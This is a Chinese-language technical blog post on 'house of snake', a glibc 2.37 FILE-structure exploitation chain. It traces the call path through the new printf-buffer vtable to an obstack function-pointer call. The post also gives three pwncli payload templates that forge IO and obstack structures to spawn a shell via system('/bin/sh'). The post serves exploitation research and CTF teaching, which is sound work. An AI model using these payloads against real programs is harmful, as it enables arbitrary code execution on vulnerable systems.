house_of_snake：一条高版本Glibc IO调用链
本文首发于[看雪论坛]，仅在个人博客记录
前言
之前听说glibc2.37删除了_IO_obstack_jumps这个vtable。但是在源码里还看到obstack结构体存在，那么glibc2.37真的不能再调用_IO_obstack_jumps的那条链吗？看完本文就知道还可以调用_IO_obstack_jumps那条链的关键部分。但目前这条链只存在glibc2.37，所以现在可能还没有利用场景。在此结合源码和自己的理解和大家分享一下，也感谢roderick师傅和whiter师傅的指导与支持。如果有哪里不对恳请师傅们斧正！
简介
在此，我称这条链为house of snake，此利用链与house of apple、house of cat、house of emma等利用一样，利用了修改虚表指针的方法。主要思路就是伪造相关结构体并且修改虚表指针为_IO_printf_buffer_as_file_jumps实现攻击。
利用条件
1.能修改stdout、stdin、stderr其中一个_IO_FILE_plus结构(fastbin attack或tcachebin attack)或劫持 _IO_list_all。(如large bin attack、tcache stashing unlink attack、fastbin reverse into tcache)
2.能够触发IO流，执行IO相关函数。
3.能够泄露堆地址和libc基址。
利用原理
前置知识
vtable 劫持的检测措施
在 2.24 版本的 glibc 以后，加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施，glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中，如果满足条件就正常执行，否则会调用_IO_vtable_check 做进一步检查。
简单来说，如果 vtable 地址是非法的，那么会引发 abort。
_IO_FILE结构体
源码如下：
struct _IO_FILE {
int _flags;
#define _IO_file_flags _flags
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
该结构体应该不难理解，不过多赘述。
_IO_jump_t结构体
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
当我们对一个文件对象fp进行操作时，往往会使用到_IO_jump_t结构体内某一函数。
_IO_FILE_plus结构体
源码如下：
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
也就是在_IO_FILE追加了个指向_IO_jump_t结构体的指针。
__printf_buffer结构体
struct __printf_buffer
{
char *write_base;
char *write_ptr;
char *write_end;
uint64_t written;
enum __printf_buffer_mode mode;
};
了解存在这个结构体即可。
__printf_buffer_as_file结构体
struct __printf_buffer_as_file
{
/* Interface to libio. */
FILE stream;
const struct _IO_jump_t *vtable;
/* Pointer to the underlying buffer. */
struct __printf_buffer *next;
};
其中FILE就是_IO_FILE_plus，就是在_IO_FILE_plus结构体后追加了个指向__printf_buffer结构体的指针。这个结构体是关键结构体之一，因为本文提及的调用链离不开这个结构体。
简单总结一下，就是一个常见的_IO_FILE_plus后面追加了一个结构体指针，我们只要认识到这一点就行了。
obstack结构体
struct obstack /* control current object in current chunk */
{
long chunk_size; /* preferred size to allocate chunks in */
struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */
char *object_base; /* address of object we are building */
char *next_free; /* where to add next char to current object */
char *chunk_limit; /* address of char after current chunk */
union
{
PTR_INT_TYPE tempint;
void *tempptr;
} temp; /* Temporary for some macros. */
int alignment_mask; /* Mask of alignment for each object. */
struct _obstack_chunk *(*chunkfun) (void *, long);
void (*freefun) (void *, struct _obstack_chunk *);
void *extra_arg; /* first arg for chunk alloc/dealloc funcs */
unsigned use_extra_arg : 1; /* chunk alloc/dealloc funcs take extra arg */
unsigned maybe_empty_object : 1; /* There is a possibility that the current
unsigned alloc_failed : 1; /* No longer used, as we now call the failed
handler on error, but retained for binary
compatibility. */
};
在此，我们只需要知道有这个结构体即可，不需要过多的探究每个成员的意义。
__printf_buffer_obstack结构体
struct __printf_buffer_obstack
{
struct __printf_buffer base;
struct obstack *obstack;
char ch;
};
就是在__printf_buffer结构体后追加了一个obstack结构体指针和一个char类型的变量，这个结构体也是关键结构体之一。
调用链分析
_IO_printf_buffer_as_file_jumps
由上可知，vtable必须合法，在glibc2.37中有一个新的vtable，源码如下：
static const struct _IO_jump_t _IO_printf_buffer_as_file_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, NULL),
JUMP_INIT(overflow, __printf_buffer_as_file_overflow),//函数一
JUMP_INIT(underflow, NULL),
JUMP_INIT(uflow, NULL),
JUMP_INIT(pbackfail, NULL),
JUMP_INIT(xsputn, __printf_buffer_as_file_xsputn),//函数二
JUMP_INIT(xsgetn, NULL),
JUMP_INIT(seekoff, NULL),
JUMP_INIT(seekpos, NULL),
JUMP_INIT(setbuf, NULL),
JUMP_INIT(sync, NULL),
JUMP_INIT(doallocate, NULL),
JUMP_INIT(read, NULL),
JUMP_INIT(write, NULL),
JUMP_INIT(seek, NULL),
JUMP_INIT(close, NULL),
JUMP_INIT(stat, NULL),
JUMP_INIT(showmanyc, NULL),
JUMP_INIT(imbue, NULL)
};
可知，该vtable内只存在两个函数，分别为__printf_buffer_as_file_overflow，__printf_buffer_as_file_xsputn
接下来我们先对__printf_buffer_as_file_overflow进行分析。
前言
笔者对该利用链分析先关注调用过程，要绕过的条件先按下不表，最后再总结！
__printf_buffer_as_file_overflow函数
源码如下：
static int
__printf_buffer_as_file_overflow (FILE *fp, int ch)
{
struct __printf_buffer_as_file *file = (struct __printf_buffer_as_file *) fp;
__printf_buffer_as_file_commit (file);
/* EOF means only a flush is requested. */
if (ch != EOF)
__printf_buffer_putc (file->next, ch);
/* Ensure that flushing actually produces room. */
if (!__printf_buffer_has_failed (file->next)
&& file->next->write_ptr == file->next->write_end)
__printf_buffer_flush (file->next);
[...]
}
该函数首先堆传入的第一个参数强制类型转换为__printf_buffer_as_file并赋给变量file，然后调用__printf_buffer_as_file_commit函数，
__printf_buffer_as_file_commit函数
该函数源码如下：
static void
__printf_buffer_as_file_commit (struct __printf_buffer_as_file *file)
{
/* Check that the write pointers in the file stream are consistent
with the next buffer. */
assert (file->stream._IO_write_ptr >= file->next->write_ptr);
assert (file->stream._IO_write_ptr <= file->next->write_end);
assert (file->stream._IO_write_base == file->next->write_base);
assert (file->stream._IO_write_end == file->next->write_end);
file->next->write_ptr = file->stream._IO_write_ptr;
}
可以看出该函数通过断言对file结构体中的stream结构体与next结构体中的成员进行一系列判断，然后做一个赋值的操作。
__printf_buffer_putc函数
可以看到若ch != EOF就调用__printf_buffer_putc，源码如下：
static inline void
__printf_buffer_putc (struct __printf_buffer *buf, char ch)
{
if (buf->write_ptr != buf->write_end)
*buf->write_ptr++ = ch;
else
__printf_buffer_putc_1 (buf, ch);
}
可知__printf_buffer_putc只是做了一些指针记录的数值加减的操作，对此我们不用过多关注。
然后有判断：if (!__printf_buffer_has_failed (file->next) && file->next->write_ptr == file->next->write_end)
就是判断__printf_buffer_as_file结构体中的mode成员是不是__printf_buffer_mode_failed以及file->next->write_ptr == file->next->write_end，我们假设满足这两个条件，会调用__printf_buffer_flush (file->next)
__printf_buffer_flush 函数
这个函数笔者无法直接在源码中找到，但是配合gdb，笔者还是发现了它的蛛丝马迹。
它其实就是__printf_buffer_do_flush
评论区有师傅（id:我超啊）说该函数其实是__printf_buffer_flush => Xprintf_buffer_flush => Xprintf (buffer_do_flush) (buf) => __printf_buffer_do_flush这样的！但是我们只需要关注__printf_buffer_do_flush，源码如下：
static void
__printf_buffer_do_flush (struct __printf_buffer *buf)
{
switch (buf->mode)
{
case __printf_buffer_mode_failed:
case __printf_buffer_mode_sprintf:
return;
case __printf_buffer_mode_snprintf:
__printf_buffer_flush_snprintf ((struct __printf_buffer_snprintf *) buf);
return;
......
case __printf_buffer_mode_fphex_to_wide:
__printf_buffer_flush_fphex_to_wide
((struct __printf_buffer_fphex_to_wide *) buf);
return;
case __printf_buffer_mode_obstack:
__printf_buffer_flush_obstack ((struct __printf_buffer_obstack *) buf);
return;
}
__builtin_trap ();
}
在这里我们关注进入__printf_buffer_flush_obstack函数的这一分支
__printf_buffer_flush_obstack函数
void
__printf_buffer_flush_obstack (struct __printf_buffer_obstack *buf)
{
/* About to switch buffers, so record the bytes written so far. */
buf->base.written += buf->base.write_ptr - buf->base.write_base;
if (buf->base.write_ptr == &buf->ch + 1)
{
/* Errors are reported via a callback mechanism (presumably for
process termination). */
obstack_1grow (buf->obstack, buf->ch);
[...]
}
}
假设满足所有条件进入obstack_1grow宏定义。
obstack_1grow宏定义
# define obstack_1grow(OBSTACK, datum) \
__extension__ \
({ struct obstack *__o = (OBSTACK); \
if (__o->next_free + 1 > __o->chunk_limit) \
_obstack_newchunk (__o, 1); \
obstack_1grow_fast (__o, datum); \
(void) 0; })
可以看到里面还有个宏定义，然后又_obstack_newchunk这一个函数。
_obstack_newchunk函数
void
_obstack_newchunk (struct obstack *h, int length)
{
struct _obstack_chunk *old_chunk = h->chunk;
struct _obstack_chunk *new_chunk;
long new_size;
long obj_size = h->next_free - h->object_base;
long i;
long already;
char *object_base;
/* Compute size for new chunk. */
new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
if (new_size < h->chunk_size)
new_size = h->chunk_size;
/* Allocate and initialize the new chunk. */
new_chunk = CALL_CHUNKFUN (h, new_size);
[...]
假设满足所有条件，进入CALL_CHUNKFUN这个宏定义，该宏定义的源码如下：
# define CALL_CHUNKFUN(h, size) \
(((h)->use_extra_arg) \
? (*(h)->chunkfun)((h)->extra_arg, (size)) \
: (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))
可以看到当(((h)->use_extra_arg)不为0时，会调用(*(h)->chunkfun)，它的参数是(h)->extra_arg和(size)，而我们可以控制(*(h)->chunkfun)与(h)->extra_arg，从而执行system('/bin/sh')。
如果各位跟着本文分析到这，估计就豁然开朗了，因为后半部分与_IO_obstack_xsputn的调用链一样。
完成调用链必要的绕过条件
回顾一下整个分析过程并将所有相关结构体，并都看成__printf_buffer_as_file结构体，有以下条件：
-
在
__printf_buffer_as_file_overflow函数中：file->next->mode!=__printf_buffer_mode_failed&&file->next->write_ptr == file->next->write_end
-
在
__printf_buffer_as_file_commit函数中：file->stream._IO_write_ptr >= file->next->write_ptrfile->stream._IO_write_ptr <= file->next->write_endfile->stream._IO_write_base == file->next->write_basefile->stream._IO_write_end == file->next->write_end
-
在
__printf_buffer_flush函数中： -
file->next->mode =__printf_buffer_mode_obstack -
在
__printf_buffer_flush_obstack函数中： -
buf->base.write_ptr == &buf->ch + 1<==>file->next.write_ptr == &(file->next) + 0x30 + 1 -
在
obstack_1grow宏定义中：(struct __printf_buffer_obstack *) file->obstack->next_free + 1 > (struct __printf_buffer_obstack *) file->obstack->chunk_limit(h)->use_extra_arg不为0 <==>(struct __printf_buffer_obstack *) file->obstack->use_extra_arg != 0
-
注：
-
__printf_buffer_mode_obstack就是0xb
利用思路
本文分析基于amd64下通过FSOP触发。
我们知道FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项，但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是exit函数调用_IO_flush_all_lockp，这个函数会刷新_IO_list_all 链表中所有项的文件流，相当于对每个 FILE 调用 fflush，也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。
我们调试可以知道_IO_overflow位于vtable指针所指向地址+0x18处，也就是说当FSOP发生的时候会调用_IO_FILE_plus.vtable 中的_IO_overflow。即调用vtable指针所指向地址 + 0x18处的数据。
那么只要我们伪造一个_IO_FILE结构体，将它的vtable替换为&_IO_printf_buffer_as_file_jumps，此时vtable指针所指地址+0x18处为__printf_buffer_as_file_overflow，然后伪造上述所有需要满足的条件（详见poc与攻击模板），就可以完成攻击，如下：
POC
-
下载
glibc2.37源码：wget https://mirrors.nju.edu.cn/gnu/libc/glibc-2.37.tar.gz -
解压：
tar -zxvf glibc-2.37.tar.gz -
编译：
mkdir build cd build ../configure --prefix=你想放置可执行文件的绝对路径 sudo make sudo make install -
准备好POC
可以点击这里下载文件（本来是直接展示源码的...但是放到看雪里排版就错位了...）
-
编译POC
gcc POC.c -g -o POC -
patchelf
patchelf --set-rpath 你存放编译后的文件路径/bin/lib ./POC patchelf --set-interpreter 你存放编译后的文件路径/bin/lib/ld-linux-x86-64.so.2 ./POC -
运行
攻击模板
以下攻击模板全是在FSOP下的，可以点击这里下载附件尝试以下三种攻击。
分别伪造__printf_buffer与obstack结构体
from pwncli import *
fp = IO_FILE_plus_struct()
fp.vtable = 0x1ced60 + lb
fp._IO_write_ptr = leak_heap+0xe8 + 0x30 + 1 #0x28
fp._IO_write_end = leak_heap+0xe8 + 0x30 + 1 #0x30
fp._IO_write_base = 0x0 #0x20
pd = flat(
{
0x0:bytes(fp),
#------fake __printf_buffer---
0xe0:leak_heap+0xe8,
0xe8:[
0, #write_base 0
0, #write_ptr 8
leak_heap+0xe8 + 0x30 + 1, #write_end 0x10
leak_heap+0x110, #written 0x18
p32(11), #mode 0x20
],
#----------------------------
#------fake obstack----------
0x110:leak_heap+0x110,
0x110+0x18:[
'/bin/sh\x00',
0
],
0x110+0x38:libc.sym.system,
0x110+0x48:leak_heap+0x110+0x18,
0x110+0x50:[0xff]
#----------------------------
}
)
obstack结构体与FILE结构体内存复用
from pwncli import *
fp = IO_FILE_plus_struct()
fp.vtable = 0x1ced60 + lb
fp._IO_write_ptr = leak_heap+0xe8 + 0x30 + 1 #0x28
fp._IO_write_end = leak_heap+0xe8 + 0x30 + 1 #0x30
fp._IO_write_base = 0x0 #0x20
#fake a obsatck
fp._IO_read_base = 0x68732f6e69622f #0x18
fp._IO_backup_base = 0xff #0x50
fp._IO_buf_base = libc.sym.system #0x38
fp._IO_save_base = leak_heap+0x18 #0x48
pd = flat(
{
0x0:bytes(fp),
0xe0:leak_heap+0xe8,
0xe8:[
0, #write_base 0
0, #write_ptr 8
leak_heap+0xe8 + 0x30 + 1, #write_end 0x10
leak_heap+0x110, #written 0x18
p32(11), #mode 0x20
],
0x110:leak_heap, #fake a obstack
}
)
__printf_buffer结构、obstack结构体与FILE结构体内存复用
这个payload需要的内存是最小的，只需要0xe0字节大小的内存。
from pwncli import *
fp = IO_FILE_plus_struct()
fp.vtable = 0x1ced60 + lb
fp._IO_write_ptr = fake_printf_buffer+ 0x30 + 1 #0x28
fp._IO_write_end = fake_printf_buffer + 0x30 + 1 #0x30
fp._IO_write_base = 0x0 #0x20
#fake a obsatck
fp._IO_backup_base = 0xff #0x50
fp._IO_buf_base = libc.sym.system #0x38
fp._IO_save_base = fake_fp + 0xa0 #0x48
fp._wide_data = 0x68732f6e69622f #0xa0
#fake a __printf_buffer
fp = payload_replace(bytes(fp),{
0x58:0,
0x60:0,
0x68:fake_printf_buffer + 0x30 + 1,
0x70:0,
0x78:11,
0x80:fake_fp
})
pd = flat(
{
0x0:bytes(fp),
0xe0:fake_printf_buffer,
}
)
总结
该利用链看起来需要绕过的条件很多，但是并不复杂，并且可以稳定控制rdi与rip。但是ubuntu还没有使用glibc2.37，所以目前这条链新的还没有利用场景2333。但我相信以后说不定会有它的利用场景。
附录
struct __printf_buffer
{
char *write_base; 0x0-0x8
char *write_ptr; 0x8-0x10
char *write_end; 0x10-0x18
uint64_t written; 0x18-0x20
enum __printf_buffer_mode mode; 0x20-0x24
};
struct __printf_buffer_obstack
{
struct __printf_buffer base; 0x0-0x24
struct obstack *obstack; 0x28-0x30
char ch; 0x30-0x31
};